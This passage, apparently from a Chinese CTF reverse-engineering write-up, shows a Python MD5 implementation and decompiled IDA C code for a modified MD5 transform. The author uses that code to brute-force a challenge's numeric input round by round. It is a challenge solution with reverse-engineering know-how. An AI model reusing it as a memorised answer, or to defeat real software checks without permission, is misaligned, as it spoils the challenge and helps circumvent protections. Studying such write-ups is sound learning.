= HH(a, b, c, d, M[<span class="number">5</span>], <span class="number">4</span>, SV[<span class="number">32</span>])</span><br><span class="line"> d = HH(d, a, b, c, M[<span class="number">8</span>], <span class="number">11</span>, SV[<span class="number">33</span>])</span><br><span class="line"> c = HH(c, d, a, b, M[<span class="number">11</span>], <span class="number">16</span>, SV[<span class="number">34</span>])</span><br><span class="line"> b = HH(b, c, d, a, M[<span class="number">14</span>], <span class="number">23</span>, SV[<span class="number">35</span>])</span><br><span class="line"> a = HH(a, b, c, d, M[<span class="number">1</span>], <span class="number">4</span>, SV[<span class="number">36</span>])</span><br><span class="line"> d = HH(d, a, b, c, M[<span class="number">4</span>], <span class="number">11</span>, SV[<span class="number">37</span>])</span><br><span class="line"> c = HH(c, d, a, b, M[<span class="number">7</span>], <span class="number">16</span>, SV[<span class="number">38</span>])</span><br><span class="line"> b = HH(b, c, d, a, M[<span class="number">10</span>], <span class="number">23</span>, SV[<span class="number">39</span>])</span><br><span class="line"> a = HH(a, b, c, d, M[<span class="number">13</span>], <span class="number">4</span>, SV[<span class="number">40</span>])</span><br><span class="line"> d = HH(d, a, b, c, M[<span class="number">0</span>], <span class="number">11</span>, SV[<span class="number">41</span>])</span><br><span class="line"> c = HH(c, d, a, b, M[<span class="number">3</span>], <span class="number">16</span>, SV[<span class="number">42</span>])</span><br><span class="line"> b = HH(b, c, d, a, M[<span class="number">6</span>], <span class="number">23</span>, SV[<span class="number">43</span>])</span><br><span class="line"> a = HH(a, b, c, d, M[<span class="number">9</span>], <span class="number">4</span>, SV[<span class="number">44</span>])</span><br><span class="line"> d = HH(d, a, b, c, M[<span class="number">12</span>], <span class="number">11</span>, SV[<span class="number">45</span>])</span><br><span class="line"> c = HH(c, d, a, b, M[<span class="number">15</span>], <span class="number">16</span>, SV[<span class="number">46</span>])</span><br><span class="line"> b = HH(b, c, d, a, M[<span class="number">2</span>], <span class="number">23</span>, SV[<span class="number">47</span>])</span><br><span class="line"> </span><br><span class="line"> a = II(a, b, c, d, M[<span class="number">0</span>], <span class="number">6</span>, SV[<span class="number">48</span>])</span><br><span class="line"> d = II(d, a, b, c, M[<span class="number">7</span>], <span class="number">10</span>, SV[<span class="number">49</span>])</span><br><span class="line"> c = II(c, d, a, b, M[<span class="number">14</span>], <span class="number">15</span>, SV[<span class="number">50</span>])</span><br><span class="line"> b = II(b, c, d, a, M[<span class="number">5</span>], <span class="number">21</span>, SV[<span class="number">51</span>])</span><br><span class="line"> a = II(a, b, c, d, M[<span class="number">12</span>], <span class="number">6</span>, SV[<span class="number">52</span>])</span><br><span class="line"> d = II(d, a, b, c, M[<span class="number">3</span>], <span class="number">10</span>, SV[<span class="number">53</span>])</span><br><span class="line"> c = II(c, d, a, b, M[<span class="number">10</span>], <span class="number">15</span>, SV[<span class="number">54</span>])</span><br><span class="line"> b = II(b, c, d, a, M[<span class="number">1</span>], <span class="number">21</span>, SV[<span class="number">55</span>])</span><br><span class="line"> a = II(a, b, c, d, M[<span class="number">8</span>], <span class="number">6</span>, SV[<span class="number">56</span>])</span><br><span class="line"> d = II(d, a, b, c, M[<span class="number">15</span>], <span class="number">10</span>, SV[<span class="number">57</span>])</span><br><span class="line"> c = II(c, d, a, b, M[<span class="number">6</span>], <span class="number">15</span>, SV[<span class="number">58</span>])</span><br><span class="line"> b = II(b, c, d, a, M[<span class="number">13</span>], <span class="number">21</span>, SV[<span class="number">59</span>])</span><br><span class="line"> a = II(a, b, c, d, M[<span class="number">4</span>], <span class="number">6</span>, SV[<span class="number">60</span>])</span><br><span class="line"> d = II(d, a, b, c, M[<span class="number">11</span>], <span class="number">10</span>, SV[<span class="number">61</span>])</span><br><span class="line"> c = II(c, d, a, b, M[<span class="number">2</span>], <span class="number">15</span>, SV[<span class="number">62</span>])</span><br><span class="line"> b = II(b, c, d, a, M[<span class="number">9</span>], <span class="number">21</span>, SV[<span class="number">63</span>])</span><br><span class="line"> A = (A + a) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> B = (B + b) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> C = (C + c) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> D = (D + d) % (<span class="number">2</span> ** <span class="number">32</span>)</span><br><span class="line"> result = fmt8(A) + fmt8(B) + fmt8(C) + fmt8(D)</span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> data = <span class="string">b"1485"</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"plainText: "</span>, data)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"result: "</span>, md5sum(data))</span><br><span class="line"> </span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>通过修改幻数发现计算结果和调试出来的结果不一样,遂改用c语言直接复制IDA中的伪代码进行加密</p><p>思路是用伪代码中加密逻辑进行加密,每一轮控制输入的幻数,爆破明文数字</p><p>这里以爆破最后一轮也就是第10组数字的代码为例(代码写得比较小学生,看个乐子):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">"atlstr.h"</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> <span class="keyword">warning</span> (disable:4996) </span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> __cdecl <span class="title function_">sub_6532E0</span><span class="params">(<span class="type">int</span>* a1, <span class="type">int</span> a2, <span class="type">unsigned</span> <span class="type">int</span> a3)</span></span><br><span class="line">{</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [esp+D0h] [ebp-14h]</span></span><br><span class="line"><span class="type">int</span> v5; <span class="comment">// [esp+DCh] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">v5 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; ; i += <span class="number">4</span>)</span><br><span class="line">{</span><br><span class="line">result = i;</span><br><span class="line"><span class="keyword">if</span> (i >= a3)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">*(DWORD*)(a1 + <span class="number">4</span> * v5++) = (*(<span class="type">unsigned</span> __int8*)(i + a2 + <span class="number">3</span>) << <span class="number">24</span>) | (*(<span class="type">unsigned</span> __int8*)(i + a2 + <span class="number">2</span>) << <span class="number">16</span>) | *(<span class="type">unsigned</span> __int16*)(i + a2);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> __cdecl <span class="title function_">sub_6536F0</span><span class="params">(<span class="type">int</span>* a1, <span class="type">int</span> a2,<span class="type">int</span> v17)</span></span><br><span class="line">{</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line"><span class="type">int</span> v3=<span class="number">0</span>; <span class="comment">// [esp+D0h] [ebp-138h] BYREF</span></span><br><span class="line"><span class="type">int</span> v4=<span class="number">0x80</span>; <span class="comment">// [esp+D4h] [ebp-134h]</span></span><br><span class="line"><span class="type">int</span> v5=<span class="number">0</span>; <span class="comment">// [esp+D8h] [ebp-130h]</span></span><br><span class="line"><span class="type">int</span> v6=<span class="number">0</span>; <span class="comment">// [esp+DCh] [ebp-12Ch]</span></span><br><span class="line"><span class="type">int</span> v7=<span class="number">0</span>; <span class="comment">// [esp+E0h] [ebp-128h]</span></span><br><span class="line"><span class="type">int</span> v8=<span class="number">0</span>; <span class="comment">// [esp+E4h] [ebp-124h]</span></span><br><span class="line"><span class="type">int</span> v9=<span class="number">0</span>; <span class="comment">// [esp+E8h] [ebp-120h]</span></span><br><span class="line"><span class="type">int</span> v10=<span class="number">0</span>; <span class="comment">// [esp+ECh] [ebp-11Ch]</span></span><br><span class="line"><span class="type">int</span> v11=<span class="number">0</span>; <span class="comment">// [esp+F0h] [ebp-118h]</span></span><br><span class="line"><span class="type">int</span> v12=<span class="number">0</span>; <span class="comment">// [esp+F4h] [ebp-114h]</span></span><br><span class="line"><span class="type">int</span> v13=<span class="number">0</span>; <span class="comment">// [esp+F8h] [ebp-110h]</span></span><br><span class="line"><span class="type">int</span> v14=<span class="number">0</span>; <span class="comment">// [esp+FCh] [ebp-10Ch]</span></span><br><span class="line"><span class="type">int</span> v15=<span class="number">0</span>; <span class="comment">// [esp+100h] [ebp-108h]</span></span><br><span class="line"><span class="type">int</span> v16=<span class="number">0</span>; <span class="comment">// [esp+104h] [ebp-104h]</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> v18=<span class="number">0</span>; <span class="comment">// [esp+10Ch] [ebp-FCh]</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> v19; <span class="comment">// [esp+1D8h] [ebp-30h]</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> v20; <span class="comment">// [esp+1E4h] [ebp-24h]</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> v21; <span class="comment">// [esp+1F0h] [ebp-18h]</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> v22; <span class="comment">// [esp+1FCh] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">v22 = *a1;</span><br><span class="line">v21 = a1[<span class="number">1</span>];</span><br><span class="line">v20 = a1[<span class="number">2</span>];</span><br><span class="line">v19 = a1[<span class="number">3</span>];</span><br><span class="line">sub_6532E0(&v3, a2, <span class="number">64</span>);</span><br><span class="line">a1 = (<span class="type">int</span>*)(a2 - <span class="number">0x10</span>);</span><br><span class="line">v22 = v22 + v3 + (v19 & ~v21 | v20 & v21) - <span class="number">680876936</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">25</span>) | (v22 << <span class="number">7</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v4 + (v20 & ~v22 | v21 & v22) - <span class="number">389564586</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">20</span>) | (v19 << <span class="number">12</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v5 + (v21 & ~v19 | v22 & v19) + <span class="number">606105819</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">15</span>) | (v20 << <span class="number">17</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v6 + (v22 & ~v20 | v19 & v20) - <span class="number">1044525330</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">10</span>) | (v21 << <span class="number">22</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v7 + (v19 & ~v21 | v20 & v21) - <span class="number">176418897</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">25</span>) | (v22 << <span class="number">7</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 += v8 + (v20 & ~v22 | v21 & v22) + <span class="number">1200080426</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">20</span>) | (v19 << <span class="number">12</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v9 + (v21 & ~v19 | v22 & v19) - <span class="number">1473231341</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">15</span>) | (v20 << <span class="number">17</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v10 + (v22 & ~v20 | v19 & v20) - <span class="number">45705983</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">10</span>) | (v21 << <span class="number">22</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v11 + (v19 & ~v21 | v20 & v21) + <span class="number">1770035416</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">25</span>) | (v22 << <span class="number">7</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v12 + (v20 & ~v22 | v21 & v22) - <span class="number">1958414417</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">20</span>) | (v19 << <span class="number">12</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v13 + (v21 & ~v19 | v22 & v19) - <span class="number">42063</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">15</span>) | (v20 << <span class="number">17</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v14 + (v22 & ~v20 | v19 & v20) - <span class="number">1990404162</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">10</span>) | (v21 << <span class="number">22</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v15 + (v19 & ~v21 | v20 & v21) + <span class="number">1804603682</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">25</span>) | (v22 << <span class="number">7</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v16 + (v20 & ~v22 | v21 & v22) - <span class="number">40341101</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">20</span>) | (v19 << <span class="number">12</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v17 + (v21 & ~v19 | v22 & v19) - <span class="number">1502002290</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">15</span>) | (v20 << <span class="number">17</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 += v18 + (v22 & ~v20 | v19 & v20) + <span class="number">1236535329</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">10</span>) | (v21 << <span class="number">22</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v4 + (v20 & ~v19 | v19 & v21) - <span class="number">165796510</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">27</span>) | (<span class="number">32</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v9 + (v21 & ~v20 | v20 & v22) - <span class="number">1069501632</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">23</span>) | (v19 << <span class="number">9</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v14 + (v22 & ~v21 | v21 & v19) + <span class="number">643717713</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">18</span>) | (v20 << <span class="number">14</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v3 + (v19 & ~v22 | v22 & v20) - <span class="number">373897302</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">12</span>) | (v21 << <span class="number">20</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v8 + (v20 & ~v19 | v19 & v21) - <span class="number">701558691</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">27</span>) | (<span class="number">32</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 += v13 + (v21 & ~v20 | v20 & v22) + <span class="number">38016083</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">23</span>) | (v19 << <span class="number">9</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v18 + (v22 & ~v21 | v21 & v19) - <span class="number">660478335</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">18</span>) | (v20 << <span class="number">14</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v7 + (v19 & ~v22 | v22 & v20) - <span class="number">405537848</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">12</span>) | (v21 << <span class="number">20</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v12 + (v20 & ~v19 | v19 & v21) + <span class="number">568446438</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">27</span>) | (<span class="number">32</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v17 + (v21 & ~v20 | v20 & v22) - <span class="number">1019803690</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">23</span>) | (v19 << <span class="number">9</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v6 + (v22 & ~v21 | v21 & v19) - <span class="number">187363961</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">18</span>) | (v20 << <span class="number">14</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 += v11 + (v19 & ~v22 | v22 & v20) + <span class="number">1163531501</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">12</span>) | (v21 << <span class="number">20</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v16 + (v20 & ~v19 | v19 & v21) - <span class="number">1444681467</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">27</span>) | (<span class="number">32</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v5 + (v21 & ~v20 | v20 & v22) - <span class="number">51403784</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">23</span>) | (v19 << <span class="number">9</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v10 + (v22 & ~v21 | v21 & v19) + <span class="number">1735328473</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">18</span>) | (v20 << <span class="number">14</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v15 + (v19 & ~v22 | v22 & v20) - <span class="number">1926607734</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">12</span>) | (v21 << <span class="number">20</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v8 + (v19 ^ v20 ^ v21) - <span class="number">378558</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">28</span>) | (<span class="number">16</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v11 + (v20 ^ v21 ^ v22) - <span class="number">2022574463</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">21</span>) | (v19 << <span class="number">11</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v14 + (v21 ^ v22 ^ v19) + <span class="number">1839030562</span>;</span><br><span class="line">v20 = HIWORD(v20) | (v20 << <span class="number">16</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v17 + (v22 ^ v19 ^ v20) - <span class="number">35309556</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">9</span>) | (v21 << <span class="number">23</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v4 + (v19 ^ v20 ^ v21) - <span class="number">1530992060</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">28</span>) | (<span class="number">16</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 += v7 + (v20 ^ v21 ^ v22) + <span class="number">1272893353</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">21</span>) | (v19 << <span class="number">11</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v10 + (v21 ^ v22 ^ v19) - <span class="number">155497632</span>;</span><br><span class="line">v20 = HIWORD(v20) | (v20 << <span class="number">16</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v13 + (v22 ^ v19 ^ v20) - <span class="number">1094730640</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">9</span>) | (v21 << <span class="number">23</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v16 + (v19 ^ v20 ^ v21) + <span class="number">681279174</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">28</span>) | (<span class="number">16</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v3 + (v20 ^ v21 ^ v22) - <span class="number">358537222</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">21</span>) | (v19 << <span class="number">11</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v6 + (v21 ^ v22 ^ v19) - <span class="number">722521979</span>;</span><br><span class="line">v20 = HIWORD(v20) | (v20 << <span class="number">16</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 += v9 + (v22 ^ v19 ^ v20) + <span class="number">76029189</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">9</span>) | (v21 << <span class="number">23</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v12 + (v19 ^ v20 ^ v21) - <span class="number">640364487</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">28</span>) | (<span class="number">16</span> * v22);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v15 + (v20 ^ v21 ^ v22) - <span class="number">421815835</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">21</span>) | (v19 << <span class="number">11</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v18 + (v21 ^ v22 ^ v19) + <span class="number">530742520</span>;</span><br><span class="line">v20 = HIWORD(v20) | (v20 << <span class="number">16</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v5 + (v22 ^ v19 ^ v20) - <span class="number">995338651</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">9</span>) | (v21 << <span class="number">23</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v3 + (v20 ^ (v21 | ~v19)) - <span class="number">198630844</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">26</span>) | (v22 << <span class="number">6</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 += v10 + (v21 ^ (v22 | ~v20)) + <span class="number">1126891415</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">22</span>) | (v19 << <span class="number">10</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v17 + (v22 ^ (v19 | ~v21)) - <span class="number">1416354905</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">17</span>) | (v20 << <span class="number">15</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v8 + (v19 ^ (v20 | ~v22)) - <span class="number">57434055</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">11</span>) | (v21 << <span class="number">21</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v15 + (v20 ^ (v21 | ~v19)) + <span class="number">1700485571</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">26</span>) | (v22 << <span class="number">6</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v6 + (v21 ^ (v22 | ~v20)) - <span 